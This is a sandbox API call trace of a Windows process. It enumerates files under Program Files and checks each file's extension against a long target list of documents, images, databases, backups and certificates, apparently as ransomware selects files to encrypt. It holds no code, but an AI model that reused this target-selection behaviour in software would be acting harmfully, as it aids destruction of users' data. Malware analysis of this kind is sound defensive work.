	[0189.477] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0189.477] lstrlenW (lpString=".hpp") returned 4
	[0189.477] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0189.477] lstrlenW (lpString=".hta") returned 4
	[0189.477] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0189.477] lstrlenW (lpString=".htc") returned 4
	[0189.477] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0189.477] lstrlenW (lpString=".htm") returned 4
	[0189.477] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0189.477] lstrlenW (lpString=".html") returned 5
	[0189.477] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1
	[0189.477] lstrlenW (lpString=".icb") returned 4
	[0189.477] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0189.477] lstrlenW (lpString=".ics") returned 4
	[0189.477] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0189.477] lstrlenW (lpString=".iff") returned 4
	[0189.478] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0189.478] lstrlenW (lpString=".inc") returned 4
	[0189.478] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0189.478] lstrlenW (lpString=".indd") returned 5
	[0189.478] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1
	[0189.478] lstrlenW (lpString=".ini") returned 4
	[0189.478] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0189.478] lstrlenW (lpString=".iqy") returned 4
	[0189.478] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0189.478] lstrlenW (lpString=".j2c") returned 4
	[0189.478] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0189.478] lstrlenW (lpString=".j2k") returned 4
	[0189.478] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0189.478] lstrlenW (lpString=".java") returned 5
	[0189.478] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1
	[0189.478] lstrlenW (lpString=".jp2") returned 4
	[0189.478] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0189.478] lstrlenW (lpString=".jpc") returned 4
	[0189.478] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0189.478] lstrlenW (lpString=".jpe") returned 4
	[0189.478] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0189.478] lstrlenW (lpString=".jpeg") returned 5
	[0189.478] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1
	[0189.478] lstrlenW (lpString=".jpf") returned 4
	[0189.478] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0189.478] lstrlenW (lpString=".jpg") returned 4
	[0189.478] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.478] lstrlenW (lpString=".jpx") returned 4
	[0189.478] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0189.478] lstrlenW (lpString=".js") returned 3
	[0189.478] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0189.478] lstrlenW (lpString=".jsf") returned 4
	[0189.478] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0189.478] lstrlenW (lpString=".json") returned 5
	[0189.478] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1
	[0189.478] lstrlenW (lpString=".jsp") returned 4
	[0189.479] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0189.479] lstrlenW (lpString=".kdc") returned 4
	[0189.479] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0189.479] lstrlenW (lpString=".kmz") returned 4
	[0189.479] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0189.479] lstrlenW (lpString=".kwm") returned 4
	[0189.479] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0189.479] lstrlenW (lpString=".lasso") returned 6
	[0189.479] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1
	[0189.479] lstrlenW (lpString=".lbi") returned 4
	[0189.479] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0189.479] lstrlenW (lpString=".lgf") returned 4
	[0189.479] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0189.479] lstrlenW (lpString=".lgp") returned 4
	[0189.479] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0189.479] lstrlenW (lpString=".log") returned 4
	[0189.479] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0189.479] lstrlenW (lpString=".m1v") returned 4
	[0189.479] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0189.479] lstrlenW (lpString=".m4a") returned 4
	[0189.479] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0189.479] lstrlenW (lpString=".m4v") returned 4
	[0189.479] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0189.479] lstrlenW (lpString=".max") returned 4
	[0189.479] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0189.479] lstrlenW (lpString=".md") returned 3
	[0189.479] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0189.479] lstrlenW (lpString=".mda") returned 4
	[0189.479] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0189.479] lstrlenW (lpString=".mdb") returned 4
	[0189.479] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0189.479] lstrlenW (lpString=".mde") returned 4
	[0189.479] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0189.479] lstrlenW (lpString=".mdf") returned 4
	[0189.479] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0189.479] lstrlenW (lpString=".mdw") returned 4
	[0189.480] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0189.480] lstrlenW (lpString=".mef") returned 4
	[0189.480] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0189.480] lstrlenW (lpString=".mft") returned 4
	[0189.480] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0189.480] lstrlenW (lpString=".mfw") returned 4
	[0189.480] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0189.480] lstrlenW (lpString=".mht") returned 4
	[0189.480] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0189.480] lstrlenW (lpString=".mhtml") returned 6
	[0189.480] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1
	[0189.480] lstrlenW (lpString=".mka") returned 4
	[0189.480] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0189.480] lstrlenW (lpString=".mkidx") returned 6
	[0189.480] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1
	[0189.480] lstrlenW (lpString=".mkv") returned 4
	[0189.480] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0189.480] lstrlenW (lpString=".mos") returned 4
	[0189.480] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0189.480] lstrlenW (lpString=".mov") returned 4
	[0189.480] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0189.480] lstrlenW (lpString=".mp3") returned 4
	[0189.480] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0189.480] lstrlenW (lpString=".mp4") returned 4
	[0189.480] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0189.480] lstrlenW (lpString=".mpeg") returned 5
	[0189.481] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1
	[0189.481] lstrlenW (lpString=".mpg") returned 4
	[0189.481] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0189.481] lstrlenW (lpString=".mpv") returned 4
	[0189.481] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0189.481] lstrlenW (lpString=".mrw") returned 4
	[0189.481] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0189.481] lstrlenW (lpString=".msg") returned 4
	[0189.481] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0189.481] lstrlenW (lpString=".mxl") returned 4
	[0189.481] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0189.481] lstrlenW (lpString=".myd") returned 4
	[0189.481] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0189.481] lstrlenW (lpString=".myi") returned 4
	[0189.481] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0189.481] lstrlenW (lpString=".nef") returned 4
	[0189.481] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0189.481] lstrlenW (lpString=".nrw") returned 4
	[0189.481] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0189.481] lstrlenW (lpString=".obj") returned 4
	[0189.481] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0189.481] lstrlenW (lpString=".odb") returned 4
	[0189.481] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0189.481] lstrlenW (lpString=".odc") returned 4
	[0189.481] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0189.481] lstrlenW (lpString=".odm") returned 4
	[0189.481] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0189.481] lstrlenW (lpString=".odp") returned 4
	[0189.481] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0189.481] lstrlenW (lpString=".ods") returned 4
	[0189.481] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0189.481] lstrlenW (lpString=".oft") returned 4
	[0189.481] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0189.481] lstrlenW (lpString=".one") returned 4
	[0189.481] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0189.481] lstrlenW (lpString=".onepkg") returned 7
	[0189.482] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1
	[0189.482] lstrlenW (lpString=".onetoc2") returned 8
	[0189.482] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1
	[0189.482] lstrlenW (lpString=".opt") returned 4
	[0189.482] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0189.482] lstrlenW (lpString=".oqy") returned 4
	[0189.482] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0189.482] lstrlenW (lpString=".orf") returned 4
	[0189.482] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0189.482] lstrlenW (lpString=".p12") returned 4
	[0189.482] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0189.482] lstrlenW (lpString=".p7b") returned 4
	[0189.482] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0189.482] lstrlenW (lpString=".p7c") returned 4
	[0189.482] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0189.482] lstrlenW (lpString=".pam") returned 4
	[0189.482] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0189.482] lstrlenW (lpString=".pbm") returned 4
	[0189.482] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0189.482] lstrlenW (lpString=".pct") returned 4
	[0189.482] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0189.482] lstrlenW (lpString=".pcx") returned 4
	[0189.482] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0189.482] lstrlenW (lpString=".pdd") returned 4
	[0189.482] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0189.482] lstrlenW (lpString=".pdf") returned 4
	[0189.482] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.482] lstrlenW (lpString=".pdp") returned 4
	[0189.482] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0189.482] lstrlenW (lpString=".pef") returned 4
	[0189.482] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0189.482] lstrlenW (lpString=".pem") returned 4
	[0189.482] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0189.482] lstrlenW (lpString=".pff") returned 4
	[0189.482] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0189.483] lstrlenW (lpString=".pfm") returned 4
	[0189.483] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0189.483] lstrlenW (lpString=".pfx") returned 4
	[0189.483] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0189.483] lstrlenW (lpString=".pgm") returned 4
	[0189.483] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0189.483] lstrlenW (lpString=".php") returned 4
	[0189.483] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0189.483] lstrlenW (lpString=".php3") returned 5
	[0189.483] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1
	[0189.483] lstrlenW (lpString=".php4") returned 5
	[0189.483] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1
	[0189.483] lstrlenW (lpString=".php5") returned 5
	[0189.483] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1
	[0189.483] lstrlenW (lpString=".phtml") returned 6
	[0189.483] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1
	[0189.483] lstrlenW (lpString=".pict") returned 5
	[0189.483] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1
	[0189.483] lstrlenW (lpString=".pl") returned 3
	[0189.483] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0189.483] lstrlenW (lpString=".pls") returned 4
	[0189.483] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0189.483] lstrlenW (lpString=".pm") returned 3
	[0189.483] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0189.483] lstrlenW (lpString=".png") returned 4
	[0189.483] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0189.483] lstrlenW (lpString=".pnm") returned 4
	[0189.483] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0189.483] lstrlenW (lpString=".pot") returned 4
	[0189.483] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0189.483] lstrlenW (lpString=".potm") returned 5
	[0189.483] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1
	[0189.483] lstrlenW (lpString=".potx") returned 5
	[0189.483] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1
	[0189.483] lstrlenW (lpString=".ppa") returned 4
	[0189.484] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0189.484] lstrlenW (lpString=".ppam") returned 5
	[0189.484] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1
	[0189.484] lstrlenW (lpString=".ppm") returned 4
	[0189.484] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0189.484] lstrlenW (lpString=".pps") returned 4
	[0189.484] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0189.484] lstrlenW (lpString=".ppsm") returned 5
	[0189.484] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1
	[0189.484] lstrlenW (lpString=".ppt") returned 4
	[0189.484] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.484] lstrlenW (lpString=".pptm") returned 5
	[0189.484] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1
	[0189.484] lstrlenW (lpString=".pptx") returned 5
	[0189.484] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1
	[0189.484] lstrlenW (lpString=".prn") returned 4
	[0189.484] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0189.484] lstrlenW (lpString=".ps") returned 3
	[0189.484] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0189.484] lstrlenW (lpString=".psb") returned 4
	[0189.484] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0189.484] lstrlenW (lpString=".psd") returned 4
	[0189.484] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0189.484] lstrlenW (lpString=".pst") returned 4
	[0189.484] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0189.484] lstrlenW (lpString=".ptx") returned 4
	[0189.484] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0189.484] lstrlenW (lpString=".pub") returned 4
	[0189.484] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0189.484] lstrlenW (lpString=".pwm") returned 4
	[0189.484] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0189.484] lstrlenW (lpString=".pxr") returned 4
	[0189.484] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0189.484] lstrlenW (lpString=".py") returned 3
	[0189.484] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0189.485] lstrlenW (lpString=".qt") returned 3
	[0189.485] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0189.485] lstrlenW (lpString=".r3d") returned 4
	[0189.485] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0189.485] lstrlenW (lpString=".raf") returned 4
	[0189.485] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0189.485] lstrlenW (lpString=".rar") returned 4
	[0189.485] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.485] lstrlenW (lpString=".raw") returned 4
	[0189.485] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1
	[0189.485] FindNextFileW (in: hFindFile=0x3fb2198, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0
	[0189.485] FindClose (in: hFindFile=0x3fb2198 | out: hFindFile=0x3fb2198) returned 1
	[0189.485] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fc7080 | out: hHeap=0x750000) returned 1
	[0189.485] FindNextFileW (in: hFindFile=0x3fb2218, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x97b, dwReserved1=0xffffc97b, cFileName="msadc", cAlternateFileName="")) returned 1
	[0189.485] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fb2658
	[0189.486] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0189.486] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1
	[0189.486] lstrlenW (lpString="adcjavas.inc") returned 12
	[0189.486] lstrlenW (lpString=".1cd") returned 4
	[0189.486] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0189.486] lstrlenW (lpString=".3ds") returned 4
	[0189.486] lstrcmpiW (lpString1=".3ds", lpString2=".inc") returned -1
	[0189.486] lstrlenW (lpString=".3fr") returned 4
	[0189.486] lstrcmpiW (lpString1=".3fr", lpString2=".inc") returned -1
	[0189.486] lstrlenW (lpString=".3g2") returned 4
	[0189.486] lstrcmpiW (lpString1=".3g2", lpString2=".inc") returned -1
	[0189.486] lstrlenW (lpString=".3gp") returned 4
	[0189.486] lstrcmpiW (lpString1=".3gp", lpString2=".inc") returned -1
	[0189.486] lstrlenW (lpString=".7z") returned 3
	[0189.486] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0189.486] lstrlenW (lpString=".accda") returned 6
	[0189.486] lstrcmpiW (lpString1=".accda", lpString2="as.inc") returned -1
	[0189.486] lstrlenW (lpString=".accdb") returned 6
	[0189.486] lstrcmpiW (lpString1=".accdb", lpString2="as.inc") returned -1
	[0189.486] lstrlenW (lpString=".accdc") returned 6
	[0189.486] lstrcmpiW (lpString1=".accdc", lpString2="as.inc") returned -1
	[0189.486] lstrlenW (lpString=".accde") returned 6
	[0189.486] lstrcmpiW (lpString1=".accde", lpString2="as.inc") returned -1
	[0189.486] lstrlenW (lpString=".accdt") returned 6
	[0189.486] lstrcmpiW (lpString1=".accdt", lpString2="as.inc") returned -1
	[0189.486] lstrlenW (lpString=".accdw") returned 6
	[0189.486] lstrcmpiW (lpString1=".accdw", lpString2="as.inc") returned -1
	[0189.486] lstrlenW (lpString=".adb") returned 4
	[0189.486] lstrcmpiW (lpString1=".adb", lpString2=".inc") returned -1
	[0189.486] lstrlenW (lpString=".adp") returned 4
	[0189.487] lstrcmpiW (lpString1=".adp", lpString2=".inc") returned -1
	[0189.487] lstrlenW (lpString=".ai") returned 3
	[0189.487] lstrcmpiW (lpString1=".ai", lpString2="inc") returned -1
	[0189.487] lstrlenW (lpString=".ai3") returned 4
	[0189.487] lstrcmpiW (lpString1=".ai3", lpString2=".inc") returned -1
	[0189.487] lstrlenW (lpString=".ai4") returned 4
	[0189.487] lstrcmpiW (lpString1=".ai4", lpString2=".inc") returned -1
	[0189.487] lstrlenW (lpString=".ai5") returned 4
	[0189.487] lstrcmpiW (lpString1=".ai5", lpString2=".inc") returned -1
	[0189.487] lstrlenW (lpString=".ai6") returned 4
	[0189.487] lstrcmpiW (lpString1=".ai6", lpString2=".inc") returned -1
	[0189.487] lstrlenW (lpString=".ai7") returned 4
	[0189.487] lstrcmpiW (lpString1=".ai7", lpString2=".inc") returned -1
	[0189.487] lstrlenW (lpString=".ai8") returned 4
	[0189.487] lstrcmpiW (lpString1=".ai8", lpString2=".inc") returned -1
	[0189.487] lstrlenW (lpString=".anim") returned 5
	[0189.487] lstrcmpiW (lpString1=".anim", lpString2="s.inc") returned -1
	[0189.487] lstrlenW (lpString=".arw") returned 4
	[0189.487] lstrcmpiW (lpString1=".arw", lpString2=".inc") returned -1
	[0189.487] lstrlenW (lpString=".as") returned 3
	[0189.487] lstrcmpiW (lpString1=".as", lpString2="inc") returned -1
	[0189.487] lstrlenW (lpString=".asa") returned 4
	[0189.487] lstrcmpiW (lpString1=".asa", lpString2=".inc") returned -1
	[0189.487] lstrlenW (lpString=".asc") returned 4
	[0189.487] lstrcmpiW (lpString1=".asc", lpString2=".inc") returned -1
	[0189.487] lstrlenW (lpString=".ascx") returned 5
	[0189.487] lstrcmpiW (lpString1=".ascx", lpString2="s.inc") returned -1
	[0189.487] lstrlenW (lpString=".asm") returned 4
	[0189.487] lstrcmpiW (lpString1=".asm", lpString2=".inc") returned -1
	[0189.487] lstrlenW (lpString=".asmx") returned 5
	[0189.487] lstrcmpiW (lpString1=".asmx", lpString2="s.inc") returned -1
	[0189.487] lstrlenW (lpString=".asp") returned 4
	[0189.487] lstrcmpiW (lpString1=".asp", lpString2=".inc") returned -1
	[0189.487] lstrlenW (lpString=".aspx") returned 5
	[0189.487] lstrcmpiW (lpString1=".aspx", lpString2="s.inc") returned -1
	[0189.487] lstrlenW (lpString=".asr") returned 4
	[0189.487] lstrcmpiW (lpString1=".asr", lpString2=".inc") returned -1
	[0189.488] lstrlenW (lpString=".asx") returned 4
	[0189.488] lstrcmpiW (lpString1=".asx", lpString2=".inc") returned -1
	[0189.488] lstrlenW (lpString=".avi") returned 4
	[0189.488] lstrcmpiW (lpString1=".avi", lpString2=".inc") returned -1
	[0189.488] lstrlenW (lpString=".avs") returned 4
	[0189.488] lstrcmpiW (lpString1=".avs", lpString2=".inc") returned -1
	[0189.488] lstrlenW (lpString=".backup") returned 7
	[0189.488] lstrcmpiW (lpString1=".backup", lpString2="vas.inc") returned -1
	[0189.488] lstrlenW (lpString=".bak") returned 4
	[0189.488] lstrcmpiW (lpString1=".bak", lpString2=".inc") returned -1
	[0189.488] lstrlenW (lpString=".bay") returned 4
	[0189.488] lstrcmpiW (lpString1=".bay", lpString2=".inc") returned -1
	[0189.488] lstrlenW (lpString=".bd") returned 3
	[0189.488] lstrcmpiW (lpString1=".bd", lpString2="inc") returned -1
	[0189.488] lstrlenW (lpString=".bin") returned 4
	[0189.488] lstrcmpiW (lpString1=".bin", lpString2=".inc") returned -1
	[0189.488] lstrlenW (lpString=".bmp") returned 4
	[0189.488] lstrcmpiW (lpString1=".bmp", lpString2=".inc") returned -1
	[0189.488] lstrlenW (lpString=".bz2") returned 4
	[0189.488] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0189.488] lstrlenW (lpString=".c") returned 2
	[0189.488] lstrcmpiW (lpString1=".c", lpString2="nc") returned -1
	[0189.488] lstrlenW (lpString=".cdr") returned 4
	[0189.488] lstrcmpiW (lpString1=".cdr", lpString2=".inc") returned -1
	[0189.488] lstrlenW (lpString=".cer") returned 4
	[0189.488] lstrcmpiW (lpString1=".cer", lpString2=".inc") returned -1
	[0189.488] lstrlenW (lpString=".cf") returned 3
	[0189.488] lstrcmpiW (lpString1=".cf", lpString2="inc") returned -1
	[0189.488] lstrlenW (lpString=".cfc") returned 4
	[0189.488] lstrcmpiW (lpString1=".cfc", lpString2=".inc") returned -1
	[0189.488] lstrlenW (lpString=".cfm") returned 4
	[0189.488] lstrcmpiW (lpString1=".cfm", lpString2=".inc") returned -1
	[0189.488] lstrlenW (lpString=".cfml") returned 5
	[0189.488] lstrcmpiW (lpString1=".cfml", lpString2="s.inc") returned -1
	[0189.488] lstrlenW (lpString=".cfu") returned 4
	[0189.488] lstrcmpiW (lpString1=".cfu", lpString2=".inc") returned -1
	[0189.489] lstrlenW (lpString=".chm") returned 4
	[0189.489] lstrcmpiW (lpString1=".chm", lpString2=".inc") returned -1
	[0189.489] lstrlenW (lpString=".cin") returned 4
	[0189.489] lstrcmpiW (lpString1=".cin", lpString2=".inc") returned -1
	[0189.489] lstrlenW (lpString=".class") returned 6
	[0189.489] lstrcmpiW (lpString1=".class", lpString2="as.inc") returned -1
	[0189.489] lstrlenW (lpString=".clx") returned 4
	[0189.489] lstrcmpiW (lpString1=".clx", lpString2=".inc") returned -1
	[0189.489] lstrlenW (lpString=".config") returned 7
	[0189.489] lstrcmpiW (lpString1=".config", lpString2="vas.inc") returned -1
	[0189.489] lstrlenW (lpString=".cpp") returned 4
	[0189.489] lstrcmpiW (lpString1=".cpp", lpString2=".inc") returned -1
	[0189.489] lstrlenW (lpString=".cr2") returned 4
	[0189.489] lstrcmpiW (lpString1=".cr2", lpString2=".inc") returned -1
	[0189.489] lstrlenW (lpString=".crt") returned 4
	[0189.489] lstrcmpiW (lpString1=".crt", lpString2=".inc") returned -1
	[0189.489] lstrlenW (lpString=".crw") returned 4
	[0189.489] lstrcmpiW (lpString1=".crw", lpString2=".inc") returned -1
	[0189.489] lstrlenW (lpString=".cs") returned 3
	[0189.489] lstrcmpiW (lpString1=".cs", lpString2="inc") returned -1
	[0189.489] lstrlenW (lpString=".css") returned 4
	[0189.489] lstrcmpiW (lpString1=".css", lpString2=".inc") returned -1
	[0189.489] lstrlenW (lpString=".csv") returned 4
	[0189.489] lstrcmpiW (lpString1=".csv", lpString2=".inc") returned -1
	[0189.489] lstrlenW (lpString=".cub") returned 4
	[0189.489] lstrcmpiW (lpString1=".cub", lpString2=".inc") returned -1
	[0189.489] lstrlenW (lpString=".dae") returned 4
	[0189.489] lstrcmpiW (lpString1=".dae", lpString2=".inc") returned -1
	[0189.489] lstrlenW (lpString=".dat") returned 4
	[0189.489] lstrcmpiW (lpString1=".dat", lpString2=".inc") returned -1
